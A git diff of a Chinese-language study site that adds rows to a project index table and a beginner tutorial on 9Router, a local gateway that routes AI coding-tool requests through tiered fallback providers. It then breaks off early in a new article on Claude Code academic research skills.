 | `pyarrow` | [PyArrow — 让所有数据系统共用一块内存](/study/projects/pyarrow/) | ✅ v3 | 机器学习 | 数据科学与 AI |
 | `pyenv` | [pyenv — 用 shim 把 python 命令拦截后路由到指定版本](/study/projects/pyenv/) | ✅ v3 | CLI | 命令行工具 |
+| `pyston` | [Pyston — 给 CPython 装上「快车道」的 JIT 加速器](/study/projects/pyston/) | ✅ v3 | 编译器 | 语言运行时 |
 | `pyth` | [Pyth Network — 一手数据上链的低延迟预言机](/study/projects/pyth/) | ✅ v3 | 区块链 | 链与合约 |
 | `pytorch` | [PyTorch — 深度学习主流框架](/study/projects/pytorch/) | 🗄 存量 | 机器学习 | 数据科学与 AI |
 | `pytorch-lightning` | [PyTorch Lightning — PyTorch 训练循环抽象](/study/projects/pytorch-lightning/) | ✅ v3 | 机器学习 | 数据科学与 AI |
@@ -1777,8 +1952,10 @@ sidebar:
 | `radix-ui` | [Radix UI — unstyled accessible 的 React 组件原语库](/study/projects/radix-ui/) | ✅ v3 | 后端 API | 前端组件库 |
 | `rails` | [Ruby on Rails — 约定大于配置的全栈 Web 框架教科书](/study/projects/rails/) | ✅ v3 | 后端 API | Web 后端 |
 | `ranger` | [ranger — Python 写的 vim 风格三栏文件管理器](/study/projects/ranger/) | ✅ v3 | CLI | 命令行工具 |
+| `rapier` | [Rapier — Rust 现代物理引擎](/study/projects/rapier/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `rasa` | [Rasa — 自己造一个能记住上下文的对话机器人](/study/projects/rasa/) | ✅ v3 | 通信 | 实时通信 |
 | `ratatui` | [ratatui — Rust 的立即模式 TUI 库，tui-rs 弃坑后社区接住](/study/projects/ratatui/) | ✅ v3 | CLI | 命令行工具 |
+| `rauc` | [RAUC — 嵌入式 Linux 的稳健自动更新控制器](/study/projects/rauc/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `ravendb` | [RavenDB — .NET 生态首选的 ACID 文档数据库](/study/projects/ravendb/) | ✅ v3 | 数据库 | 存储与查询 |
 | `ray` | [Ray — 把单机 Python 函数和类无缝扩展到整个集群](/study/projects/ray/) | ✅ v3 | 机器学习 | 数据科学与 AI |
 | `raylib` | [raylib — 极简 C 游戏库，10 行代码跑起带窗口动画](/study/projects/raylib/) | ✅ v3 | 图形学 | 渲染与图形 |
@@ -1788,6 +1965,10 @@ sidebar:
 | `react-hook-form` | [react-hook-form — input 不进 React state 也能写表单](/study/projects/react-hook-form/) | ✅ v3 | 后端 API | projects |
 | `react-intl` | [react-intl — 让 React 应用按 ICU 标准说人话](/study/projects/react-intl/) | ✅ v3 | 后端 API | projects / 前端 i18n |
 | `react-native` | [React Native — 用 React 写、编译成真正的原生 App](/study/projects/react-native/) | ✅ v3 | 后端 API | 移动端 |
+| `react-native-macos` | [React Native for macOS — 用 JavaScript 写原生 macOS 桌面应用](/study/projects/react-native-macos/) | ✅ v3 | 后端 API | 移动端 |
+| `react-native-paper` | [React Native Paper — Material Design 风格的 RN UI 组件库](/study/projects/react-native-paper/) | ✅ v3 | 后端 API | 移动端 |
+| `react-native-web` | [React Native for Web — 用 RN 组件写浏览器页面](/study/projects/react-native-web/) | ✅ v3 | 后端 API | 移动端 |
+| `react-native-windows` | [React Native for Windows — 用 JavaScript 写原生 Windows 桌面应用](/study/projects/react-native-windows/) | ✅ v3 | 后端 API | 移动端 |
 | `react-spring` | [react-spring — 用真实弹簧的物理写网页动画](/study/projects/react-spring/) | ✅ v3 | 后端 API | projects / 前端动画 |
 | `recharts` | [Recharts — 用 JSX 直接拼出图表的 React 组件库](/study/projects/recharts/) | ✅ v3 | 数据可视化 | 数据可视化 |
 | `redash` | [Redash — 浏览器里写 SQL、出图、做仪表板的开源 BI](/study/projects/redash/) | ✅ v3 | 数据可视化 | 数据可视化 |
@@ -1806,7 +1987,9 @@ sidebar:
 | `rocksdb` | [RocksDB — 嵌入式 LSM 引擎](/study/projects/rocksdb/) | ✅ v3 | 数据库 | 存储与查询 |
 | `rolldown` | [rolldown — 用 Rust 给 Vite 当统一引擎的打包器](/study/projects/rolldown/) | ✅ v3 | 编译器 | 构建工具 |
 | `rollup` | [Rollup — ESM 优先的打包器](/study/projects/rollup/) | ✅ v3 | 编译器 | 构建工具 |
+| `roo-code` | [Roo Code — 多模式 VS Code AI 助手](/study/projects/roo-code/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `rook` | [Rook — 把 Ceph 装进 K8s 的 CRD 里](/study/projects/rook/) | ✅ v3 | 基础设施 | DevOps 与运维 |
+| `ros2` | [ROS 2 — 机器人操作系统零基础入门](/study/projects/ros2/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `rspack` | [rspack — 用 Rust 重写 webpack 的内核，但留下整个 plugin 生态](/study/projects/rspack/) | ✅ v3 | 编译器 | 构建工具 |
 | `rt-thread` | [RT-Thread — 中文社区主导的物联网 RTOS](/study/projects/rt-thread/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `runc` | [runc — Linux 容器最底层那个真正在 fork 进程的 CLI](/study/projects/runc/) | ✅ v3 | 基础设施 | DevOps 与运维 |
@@ -1820,12 +2003,15 @@ sidebar:
 | `scrcpy` | [scrcpy — Android 屏幕镜像 / 录制](/study/projects/scrcpy/) | ✅ v3 | 通信 | 音视频媒体 |
 | `scroll` | [Scroll — 字节码级 zkEVM](/study/projects/scroll/) | ✅ v3 | 区块链 | 链与合约 |
 | `sd` | [sd — 直觉语法的 sed 替代品（Rust 写的 find-and-replace）](/study/projects/sd/) | ✅ v3 | CLI | 命令行工具 |
+| `sdk-nrf` | [sdk-nrf — Nordic nRF Connect SDK 零基础学习笔记](/study/projects/sdk-nrf/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `seaborn` | [seaborn — matplotlib 之上的一行统计图](/study/projects/seaborn/) | ✅ v3 | 数据可视化 | 数据可视化 |
 | `sealed-secrets` | [Sealed Secrets — 把加密后的 Secret 安全提交到 Git](/study/projects/sealed-secrets/) | ✅ v3 | 基础设施 | DevOps 与运维 |
 | `sentry` | [Sentry — 把崩溃和报错自动收集 + 分组 + 可查询的错误监控平台](/study/projects/sentry/) | ✅ v3 | 基础设施 | 可观测性 |
 | `sequelize` | [Sequelize — 老牌 Node ORM](/study/projects/sequelize/) | ✅ v3 | 数据库 | ORM |
 | `sglang` | [SGLang — 结构化推理运行时](/study/projects/sglang/) | ✅ v3 | 机器学习 | 数据科学与 AI |
 | `shadcn-ui` | [shadcn/ui — 把 React 组件从 npm 包变成"源码 + CLI 协议"](/study/projects/shadcn-ui/) | ✅ v3 | 后端 API | 前端 / 组件库 |
+| `shader-park` | [Shader Park — 程序化 SDF 着色器 DSL](/study/projects/shader-park/) | ✅ v3 | 图形学 | 渲染与图形 |
+| `shadowsocks-libev` | [shadowsocks-libev — 用 C 与 libev 实现的高性能 Shadowsocks 代理](/study/projects/shadowsocks-libev/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `shaka-packager` | [Shaka Packager — 流媒体打包工具](/study/projects/shaka-packager/) | ✅ v3 | 通信 | 音视频媒体 |
 | `shaka-player` | [Shaka Player — Google 自适应流媒体播放器](/study/projects/shaka-player/) | ✅ v3 | 通信 | 音视频媒体 |
 | `shap` | [SHAP — 用博弈论给每个特征发工资](/study/projects/shap/) | ✅ v3 | 机器学习 | 数据科学与 AI |
@@ -1844,8 +2030,10 @@ sidebar:
 | `signal-server` | [Signal-Server — 服务端看不到任何明文的即时通信后端](/study/projects/signal-server/) | ✅ v3 | 通信 | 实时通信 |
 | `signoz` | [SigNoz — 自托管的 OpenTelemetry 一体化可观测平台](/study/projects/signoz/) | ✅ v3 | 基础设施 | DevOps 与运维 |
 | `silero-vad` | [Silero VAD — 轻量语音活动检测](/study/projects/silero-vad/) | ✅ v3 | 机器学习 | 数据科学与 AI |
+| `silverbullet` | [SilverBullet — 可编程的自托管 Markdown 知识库](/study/projects/silverbullet/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `simple-peer` | [simple-peer — 三行代码把两个浏览器直接连起来](/study/projects/simple-peer/) | ✅ v3 | 通信 | 实时通信 |
 | `sinatra` | [Sinatra — 用 Ruby 三行代码起一个 web 服务](/study/projects/sinatra/) | ✅ v3 | 后端 API | Web 后端 |
+| `siyuan` | [SiYuan — 国产块结构笔记](/study/projects/siyuan/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `skaffold` | [Skaffold — K8s 本地开发的 build-deploy 自动循环](/study/projects/skaffold/) | 🗄 存量 | 基础设施 | DevOps 与运维 |
 | `sled` | [sled — Rust 现代 BTree + LSM 混合嵌入式 KV](/study/projects/sled/) | ✅ v3 | 数据库 | 存储与查询 |
 | `slim-framework` | [Slim — PHP 圈最轻的 web 框架，专给小 API 用](/study/projects/slim-framework/) | ✅ v3 | 后端 API | Web 后端 |
@@ -1860,6 +2048,7 @@ sidebar:
 | `sortablejs` | [SortableJS — 一行代码让任何列表能用手拖排序](/study/projects/sortablejs/) | ✅ v3 | 后端 API | projects |
 | `sox` | [SoX — 命令行音频处理瑞士军刀](/study/projects/sox/) | ✅ v3 | 通信 | 音视频媒体 |
 | `spacemacs` | [Spacemacs — Space 键统一 Vim 与 Emacs](/study/projects/spacemacs/) | ✅ v3 | CLI | 编辑器与 IDE |
+| `spectorjs` | [Spector.js — WebGL/WebGPU 调试器](/study/projects/spectorjs/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `spin` | [Spin — 用 WebAssembly 模块当 serverless handler 的开源框架](/study/projects/spin/) | ✅ v3 | 后端 API | Web 后端 |
 | `spring-boot` | [Spring Boot — 用 Auto-configuration 把 Java 后端从 XML 地狱里救出来的事实标准框架](/study/projects/spring-boot/) | 🗄 存量 | 后端 API | Web 后端 |
 | `sqlite` | [SQLite — 嵌入式 SQL 数据库](/study/projects/sqlite/) | ✅ v3 | 数据库 | 存储与查询 |
@@ -1879,7 +2068,7 @@ sidebar:
 | `styled-components` | [styled-components — React 生态最早的 CSS-in-JS 库](/study/projects/styled-components/) | ✅ v3 | 后端 API | projects / 前端样式 |
 | `stylex` | [StyleX — 编译期把样式拍扁成原子 className 的 CSS-in-JS](/study/projects/stylex/) | ✅ v3 | 后端 API | 前端 |
 | `sui` | [Sui — 把链上资产拆成一个个独立对象的 L1](/study/projects/sui/) | ✅ v3 | 区块链 | 链与合约 |
-| `supabase` | [Supabase — Firebase 的开源替代](/study/projects/supabase/) | ✅ v3 | 后端 API | 后端 / BaaS |
+| `supabase` | [Supabase — Firebase 的开源替代](/study/projects/supabase/) | ✅ v3 | 后端 API | databases-storage |
 | `supercollider` | [SuperCollider — 实时音频合成环境](/study/projects/supercollider/) | ✅ v3 | 通信 | 音视频媒体 |
 | `superset` | [Apache Superset — 开源 BI 平台](/study/projects/superset/) | ✅ v3 | 数据可视化 | 数据可视化 |
 | `supertokens` | [SuperTokens — 自托管认证框架，把登录方式做成可拼装的 Recipe](/study/projects/supertokens/) | ✅ v3 | 后端 API | projects / 认证 |
@@ -1893,6 +2082,7 @@ sidebar:
 | `synapse` | [Synapse — Matrix 协议的参考 homeserver，让聊天像电邮一样能跨服务器互通](/study/projects/synapse/) | ✅ v3 | 通信 | 实时通信 |
 | `tabulator` | [Tabulator — 纯 JS 交互式表格](/study/projects/tabulator/) | ✅ v3 | 数据可视化 | 数据可视化 |
 | `tailwind` | [Tailwind CSS — 工具类优先样式框架](/study/projects/tailwind/) | ✅ v3 | 后端 API | CSS |
+| `tamagui` | [Tamagui — 跨平台 React / React Native 样式与 UI 系统](/study/projects/tamagui/) | ✅ v3 | 后端 API | 移动端 |
 | `tanstack-form` | [TanStack Form — 跨框架共享一份表单校验逻辑](/study/projects/tanstack-form/) | ✅ v3 | 后端 API | projects / 前端 |
 | `tanstack-query` | [TanStack Query — 数据获取与缓存库](/study/projects/tanstack-query/) | ✅ v3 | 后端 API | 数据获取 |
 | `tanstack-router` | [TanStack Router — 把 URL 当类型，编译器替你守路由](/study/projects/tanstack-router/) | ✅ v3 | 后端 API | projects |
@@ -1908,8 +2098,10 @@ sidebar:
 | `tensorflow` | [TensorFlow — Google 端到端 DL 平台](/study/projects/tensorflow/) | ✅ v3 | 机器学习 | 数据科学与 AI |
 | `terraform` | [Terraform — 基础设施即代码](/study/projects/terraform/) | ✅ v3 | 基础设施 | DevOps 与运维 |
 | `testing-library` | [Testing Library — 像用户一样测前端，重构不再挂测试](/study/projects/testing-library/) | ✅ v3 | CLI | 工具库 |
+| `texstudio` | [TeXstudio — LaTeX 集成写作环境](/study/projects/texstudio/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `textmate` | [TextMate — macOS 经典编辑器，语法格式影响了所有人](/study/projects/textmate/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `textual` | [Textual — 用 CSS 写终端界面的 Python 框架](/study/projects/textual/) | ✅ v3 | CLI | 命令行工具 |
+| `tflite-micro` | [TensorFlow Lite Micro — 把神经网络塞进几 KB RAM 的「袖珍推理引擎」](/study/projects/tflite-micro/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `the-silver-searcher` | [the_silver_searcher (ag) — 比 grep/ack 快一个数量级的代码搜索](/study/projects/the-silver-searcher/) | ✅ v3 | CLI | 命令行工具 |
 | `theia` | [Eclipse Theia — 云原生 IDE 框架基座](/study/projects/theia/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `thirdweb-sdk` | [thirdweb SDK — 一站式 Web3 全家桶](/study/projects/thirdweb-sdk/) | ✅ v3 | 区块链 | 链与合约 |
@@ -1922,17 +2114,20 @@ sidebar:
 | `tilt` | [Tilt — K8s 微服务本地开发的"文件保存即上线"](/study/projects/tilt/) | ✅ v3 | 基础设施 | DevOps 与运维 |
 | `timelinejs` | [TimelineJS — 把 Google Sheet 一键变成新闻时间线](/study/projects/timelinejs/) | ✅ v3 | 数据可视化 | 数据可视化 |
 | `timescaledb` | [TimescaleDB — PostgreSQL 时序扩展](/study/projects/timescaledb/) | ✅ v3 | 数据库 | 存储与查询 |
+| `tinygo` | [TinyGo — 把 Go 编译进微控制器和 WebAssembly 的「袖珍版编译器」](/study/projects/tinygo/) | ✅ v3 | 编译器 | 语言运行时 |
 | `tldraw` | [tldraw — 把白板做成可嵌入的 SDK](/study/projects/tldraw/) | ✅ v3 | 数据可视化 | 数据可视化 |
 | `tmux` | [tmux — 一个终端窗口里跑多个会话还能脱离重连](/study/projects/tmux/) | ✅ v3 | CLI | 命令行工具 |
 | `torchcodec` | [TorchCodec — PyTorch 原生 GPU 视频解码与张量输出](/study/projects/torchcodec/) | ✅ v3 | 机器学习 | 视频理解 |
 | `torchtune` | [torchtune — PyTorch 官方 LLM 微调库](/study/projects/torchtune/) | ✅ v3 | 机器学习 | 数据科学与 AI |
 | `traefik` | [Traefik — 现代云原生反向代理](/study/projects/traefik/) | ✅ v3 | 后端 API | Web 后端 |
 | `transformers-video` | [Transformers Video — HuggingFace 视频处理器与多模态输入管线](/study/projects/transformers-video/) | ✅ v3 | 机器学习 | 视频理解 |
+| `trilium` | [Trilium — 树形层级笔记系统](/study/projects/trilium/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `triton-inference-server` | [Triton Inference Server — NVIDIA 多框架推理服务化标杆](/study/projects/triton-inference-server/) | ✅ v3 | 机器学习 | 数据科学与 AI |
 | `trl` | [TRL — RLHF / DPO / GRPO 训练库](/study/projects/trl/) | ✅ v3 | 机器学习 | 数据科学与 AI |
 | `trpc` | [tRPC — TS 端到端类型安全 RPC](/study/projects/trpc/) | ✅ v3 | 后端 API | 类型与 PL 理论 |
 | `turbopack` | [Turbopack — 把 bundler 重做成增量计算应用](/study/projects/turbopack/) | ✅ v3 | 后端 API | 前端工具 |
 | `turborepo` | [Turborepo — 让 monorepo 学会"哪些活已经干过了不要再干"](/study/projects/turborepo/) | ✅ v3 | 后端 API | 前端工程化 |
+| `twgl` | [twgl.js — 把 WebGL 样板代码压成几行 helper 的微型工具库](/study/projects/twgl/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `twirp` | [Twirp — 用 protobuf 定义服务，但只走 HTTP/1.1 + JSON](/study/projects/twirp/) | ✅ v3 | 后端 API | Web 后端 |
 | `tyk` | [tyk — Go 实现的开源 API 网关，自带门户和多协议转换](/study/projects/tyk/) | ✅ v3 | 后端 API | Web 后端 |
 | `typeorm` | [TypeORM — Decorator-based ORM](/study/projects/typeorm/) | ✅ v3 | 数据库 | ORM |
@@ -1941,6 +2136,7 @@ sidebar:
 | `unified` | [unified — 把文档处理拆成 AST + plugin 流水线](/study/projects/unified/) | ✅ v3 | 后端 API | projects |
 | `uniswap-v3` | [Uniswap V3 — 集中流动性 AMM 核心合约](/study/projects/uniswap-v3/) | ✅ v3 | 区块链 | 链与合约 |
 | `universal-ctags` | [Universal Ctags — 老牌符号索引器，编辑器跳转到定义的底层引擎](/study/projects/universal-ctags/) | ✅ v3 | CLI | 命令行工具 |
+| `unqlite` | [UnQLite — 嵌入式 NoSQL 数据库](/study/projects/unqlite/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `unsloth` | [Unsloth — 微调 2-5x 加速](/study/projects/unsloth/) | ✅ v3 | 机器学习 | 数据科学与 AI |
 | `unstorage` | [unstorage — 让 KV 存储不绑死运行时的统一抽象层](/study/projects/unstorage/) | ✅ v3 | 后端 API | projects |
 | `unstructured` | [Unstructured — 把任意文档解析成 LLM 能吃的元素列表](/study/projects/unstructured/) | ✅ v3 | 机器学习 | 数据科学与 AI |
@@ -1952,7 +2148,7 @@ sidebar:
 | `vector` | [Vector — Rust 写的统一可观测性数据管道](/study/projects/vector/) | ✅ v3 | 基础设施 | DevOps 与运维 |
 | `vega` | [Vega — 整张图就是一棵 JSON](/study/projects/vega/) | ✅ v3 | 数据可视化 | 数据可视化 |
 | `velero` | [Velero — Kubernetes 集群备份与迁移](/study/projects/velero/) | ✅ v3 | 基础设施 | DevOps 与运维 |
-| `vercel-ai` | [Vercel AI SDK — 多 LLM Provider 统一 SDK](/study/projects/vercel-ai/) | ✅ v3 | 机器学习 | AI |
+| `vercel-ai` | [Vercel AI SDK — 多 LLM Provider 统一 SDK](/study/projects/vercel-ai/) | ✅ v3 | 机器学习 | frontend-web |
 | `vertx` | [Vert.x — Eclipse 出品的 polyglot reactive JVM toolkit，用事件总线 + verticle 把 Node.js 那套搬到多语言](/study/projects/vertx/) | ✅ v3 | 后端 API | Web 后端 |
 | `vespa` | [Vespa — Yahoo 检索 + 排序引擎](/study/projects/vespa/) | ✅ v3 | 数据库 | 存储与查询 |
 | `victoriametrics` | [VictoriaMetrics — 高性能 Prometheus 替代](/study/projects/victoriametrics/) | ✅ v3 | 数据库 | 存储与查询 |
@@ -1973,6 +2169,7 @@ sidebar:
 | `vllm` | [vLLM — 高吞吐 LLM 推理引擎](/study/projects/vllm/) | ✅ v3 | 机器学习 | 数据科学与 AI |
 | `vllm-multimodal` | [vLLM Multimodal — 多模态与视频 URL 高吞吐推理服务](/study/projects/vllm-multimodal/) | ✅ v3 | 机器学习 | 视频理解 |
 | `vodozemac` | [vodozemac — Matrix 端到端加密的 Rust 内核](/study/projects/vodozemac/) | ✅ v3 | 通信 | 实时通信 |
+| `void` | [Void — 开源 Cursor 替代](/study/projects/void/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `voila` | [Voilà — 把 Jupyter Notebook 变成只显示输出的网页](/study/projects/voila/) | ✅ v3 | 数据可视化 | 数据可视化 |
 | `volta` | [Volta — cd 进项目就自动换 Node 版本的工具链管理器](/study/projects/volta/) | ✅ v3 | CLI | 命令行工具 |
 | `vscode` | [VS Code — 把编辑/调试/扩展捏成一个跨平台壳](/study/projects/vscode/) | ✅ v3 | CLI | 编辑器与 IDE |
@@ -1987,11 +2184,13 @@ sidebar:
 | `weaviate` | [Weaviate — 模块化向量数据库](/study/projects/weaviate/) | ✅ v3 | 数据库 | 存储与查询 |
 | `web-vitals` | [web-vitals — 让你在自己页面测的数和 Google 排名用的数对得上](/study/projects/web-vitals/) | ✅ v3 | 后端 API | projects / 前端 |
 | `web3-js` | [web3.js — 老牌 EVM JavaScript 客户端库](/study/projects/web3-js/) | ✅ v3 | 区块链 | 链与合约 |
+| `webdriverio` | [WebdriverIO — Node.js 下一代浏览器与移动端自动化测试框架](/study/projects/webdriverio/) | ✅ v3 | 后端 API | 移动端 |
 | `webpack` | [webpack 模块打包](/study/projects/webpack/) | 🗄 存量 | 编译器 | 构建工具 |
 | `webrtc-rs` | [webrtc-rs — Rust 纯实现 WebRTC 协议栈，对标 Go 世界的 Pion](/study/projects/webrtc-rs/) | ✅ v3 | 通信 | 实时通信 |
 | `wezterm` | [WezTerm — Rust 写的 GPU 加速终端，配置用 Lua 还自带多路复用](/study/projects/wezterm/) | ✅ v3 | CLI | 命令行工具 |
 | `whisper` | [Whisper — OpenAI 多语言 ASR](/study/projects/whisper/) | ✅ v3 | 机器学习 | 数据科学与 AI |
 | `why-did-you-render` | [why-did-you-render — 让 React 告诉你这次渲染到底为什么](/study/projects/why-did-you-render/) | ✅ v3 | 后端 API | 前端工具 |
+| `wireguard-go` | [WireGuard-Go — 用 Go 在用户态实现 WireGuard VPN 隧道](/study/projects/wireguard-go/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `woodpecker` | [Woodpecker CI — Drone 闭源后社区接棒的轻量自托管 CI](/study/projects/woodpecker/) | ✅ v3 | 基础设施 | DevOps 与运维 |
 | `wormhole` | [Wormhole — 多链之间替你跑腿的"邮政系统"](/study/projects/wormhole/) | ✅ v3 | 区块链 | 链与合约 |
 | `wretch` | [wretch — 把 fetch 写成一条链](/study/projects/wretch/) | ✅ v3 | 后端 API | 前端工具 |
@@ -2013,6 +2212,8 @@ sidebar:
 | `zed` | [Zed — Atom 团队 Rust 重写的 GPU 协作编辑器](/study/projects/zed/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `zellij` | [Zellij — Rust 写的现代终端复用器，开箱即用还能写 WebAssembly 插件](/study/projects/zellij/) | ✅ v3 | CLI | 命令行工具 |
 | `zephyr` | [Zephyr — 一份代码树跑遍所有嵌入式芯片的开源 RTOS](/study/projects/zephyr/) | ✅ v3 | 操作系统 | 嵌入式 |
+| `zeppelin` | [Apache Zeppelin — JVM 多语言笔记本](/study/projects/zeppelin/) | ✅ v3 | CLI | 编辑器与 IDE |
+| `zettlr` | [Zettlr — 学者向 Markdown 编辑器](/study/projects/zettlr/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `zincsearch` | [ZincSearch — 单二进制 Go 写的 ES 替代](/study/projects/zincsearch/) | ✅ v3 | 数据库 | 存储与查询 |
 | `zksync-era` | [zkSync Era — Matter Labs 的 zkEVM L2](/study/projects/zksync-era/) | ✅ v3 | 区块链 | 链与合约 |
 | `zod` | [Zod — TypeScript-first schema 验证](/study/projects/zod/) | 🗄 存量 | 后端 API | 表单与校验 |
diff --git a/src/content/docs/projects/9router.md b/src/content/docs/projects/9router.md
new file mode 100644
index 000000000..2b52d121e
--- /dev/null
+++ b/src/content/docs/projects/9router.md
@@ -0,0 +1,172 @@
+---
+title: 9Router — 把几十个 AI 模型串成一条"瀑布带"的免费网关
+来源: 'https://github.com/decolua/9router'
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+难度: 初级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+9Router 是一个**本地运行的 AI 代理网关**。日常类比：酒店礼宾员。
+
+你在酒店前台（CLI 工具）说要叫出租车。礼宾员（9Router）不会亲自开车，他会看手里那张"司机名录"——最好的司机在忙，就换第二个；第二个也在忙，换第三个……你只跟礼宾员打交道，不知道背后换了几个人。
+
+换成技术语言：9Router 跑在你自己电脑上的 `localhost:20128`，把所有 AI 编程工具（Claude Code、Cursor、Codex、OpenClaw……）发来的请求，自动路由到 40+ 提供商、100+ 模型，并在订阅耗尽时自动切换到便宜或免费的替代方案。
+
+---
+
+## 核心概念
+
+### 1. 三层回退（3-Tier Fallback）
+
+9Router 让你按优先级排一条"候选名单"：
+
+```
+第 1 层 — 订阅层：你已付费的（Claude Pro、Codex Plus）
+第 2 层 — 低价层：按量计费的便宜模型（GLM $0.6/1M tokens）
+第 3 层 — 免费层：完全免费的模型（Kiro、OpenCode Free）
+```
+
+当第 1 层额度用完后，9Router **自动切换**到第 2 层，再耗尽就切到第 3 层。整个过程对你透明，编码不会中断。
+
+### 2. RTK Token 压缩器
+
+LLM 的提示词里，工具输出（`git diff`、`grep` 结果、`ls` 列表）经常占 30-50% 的 token。RTK 在请求发出前自动压缩这些内容，**无损**但能节省 20-40% 的输入 token。
+
+### 3. 格式翻译器
+
+不同提供商用不同的 API 格式（OpenAI 格式、Claude 格式、Gemini 格式……）。9Router 在中间自动做格式转换，你的编程工具只需要会发 OpenAI 格式就够了。
+
+---
+
+## 代码示例
+
+### 示例 1：安装并启动
+
+```bash
+# 全局安装（需要 Node.js 18+）
+npm install -g 9router
+
+# 启动服务，Dashboard 会自动打开
+9router
+```
+
+启动后：
+
+- Dashboard 地址：`http://localhost:20128/dashboard`
+- API 端点：`http://localhost:20128/v1`
+
+不需要注册账号，不需要 API Key，直接打开 Dashboard 就能添加提供商。
+
+### 示例 2：在 Claude Code 中接入 9Router
+
+编辑 `~/.claude/config.json`，把 AI 请求指向 9Router：
+
+```json
+{
+  "anthropic_api_base": "http://localhost:20128/v1",
+  "anthropic_api_key": "your-9router-api-key"
+}
+```
+
+这里的 `your-9router-api-key` 从 Dashboard 里复制。设置完之后，Claude Code 以为自己在直接调用 Anthropic，实际上请求全部经过了 9Router 的路由和压缩。
+
+### 示例 3：创建"三层回退"组合
+
+在 Dashboard 的 **Combos** 页面创建一个新组合：
+
+```
+名称: my-coding-stack
+  1. cc/claude-opus-4-6       ← 你的 Claude Pro 订阅（优先使用）
+  2. glm/glm-4.7              ← 便宜备份，$0.6/1M tokens
+  3. kr/claude-sonnet-4.5     ← 免费兜底（Kiro AI）
+
+模型: 输入 my-coding-stack 即可
+```
+
+当第 1 层额度耗尽，9Router 自动切到第 2 层；第 2 层预算用完，切到第 3 层。你不需要做任何手动操作。
+
+---
+
+## 架构一览
+
+```
+你的 CLI 工具
+  │  (Claude Code / Cursor / Codex / OpenClaw ...)
+  ▼
+localhost:20128/v1   ← 9Router 网关
+  │
+  ├─→ RTK Token 压缩   （省 20-40% 输入 token）
+  ├─→ 格式翻译         （OpenAI ↔ Claude ↔ Gemini）
+  ├─→ 额度跟踪         （实时看剩多少）
+  │
+  ▼
+Tier 1: cc/claude-opus-4-6      （订阅层）
+  ↓ 额度用完
+Tier 2: glm/glm-4.7             （低价层）
+  ↓ 预算用完
+Tier 3: kr/claude-sonnet-4.5    （免费层）
+```
+
+---
+
+## 支持的工具
+
+9Router 支持所有主流 AI 编程工具：
+
+- Claude Code、OpenClaw、Codex、OpenCode、Cursor
+- Antigravity、Cline、Continue、RooCode、Copilot
+- 任何支持"自定义 OpenAI 端点"的工具
+
+本质上，只要你的工具能设置一个自定义的 API Base URL，9Router 就能接入。
+
+---
+
+## 支持的成本策略
+
+| 层级 | 提供商举例 | 费用 | 适用场景 |
+|------|-----------|------|---------|
+| Token 压缩 | RTK（内置） | 免费 | 每个请求都省钱 |
+| 订阅 | Claude Pro、Codex Plus | $20-200/月 | 已付费用户最大化利用 |
+| 低价 | GLM、MiniMax | $0.2/1M tokens | 订阅耗尽后的备份 |
+| 免费 | Kiro AI、OpenCode Free | $0 | 零成本编码 |
+
+---
+
+## 部署方式
+
+| 方式 | 适用场景 |
+|------|---------|
+| 本地运行 | 单台电脑，离线可用 |
+| Docker | 一键部署，数据持久化 |
+| VPS / 云服务器 | 多台设备共享 |
+| Cloudflare Workers | 边缘网络，全球低延迟 |
+
+Docker 快速启动：
+
+```bash
+docker run -d \
+  --name 9router \
+  -p 20128:20128 \
+  -v "$HOME/.9router:/app/data" \
+  decolua/9router:latest
+```
+
+---
+
+## 关键特点总结
+
+- **零门槛**：安装后打开 Dashboard，连一个免费提供商就能开始用
+- **零成本方案**：Kiro + OpenCode Free + RTK = $0/月编码
+- **不锁平台**：一个 9Router 可以同时服务 Claude Code、Cursor、Codex 等所有工具
+- **透明切换**：回退自动发生，不需要手动切换 API Key 或端点
+- **开源免费**：MIT 许可证，软件本身不收取任何费用
+
+---
+
+## 一句总结
+
+9Router 把你手头的 AI 模型从"单兵作战"变成"团队协作"——主力累了换替补，替补累了换免费，编码永不中断。
diff --git a/src/content/docs/projects/academic-research-skills.md b/src/content/docs/projects/academic-research-skills.md
new file mode 100644
index 000000000..ba186fbfb
--- /dev/null
+++ b/src/content/docs/projects/academic-research-skills.md
@@ -0,0 +1,255 @@
+---
+title: Academic Research Skills — Claude Code 学术研究全流程自动化
+来源: https://github.com/Imbad0202/academic-research-skills
+日期: 2026-06-13
+分类: CLI
+子分类: 开发者工具
+provenance: pipeline-v3
+---
+
+## 日常类比：带审稿制度的研究生工作室
+
+想象你进了一间**配置齐全的研究生工作室**，而不是只有一个会聊天的 ChatGPT 窗口：
+
+- **文献助理**（Deep Research）负责检索、精读、做 annotated bibliography，还能用苏格拉底式提问逼你把研究问题想清楚；
+- **写作教练**（Academic Paper）按大纲搭论证、写初稿、改格式、查引用，但**不会替你拍板「本文主张是什么」**；
+- **模拟审稿人**（Academic Paper Reviewer）扮演主编、三位领域审稿人，外加一位「魔鬼代言人」专门挑刺；
+- **课题秘书**（Academic Pipeline）把上述角色串成一条流水线，在关键节点**强制你点头**，并在送审前后各跑一轮**诚信核查**（Stage 2.5 / 4.5）。
+
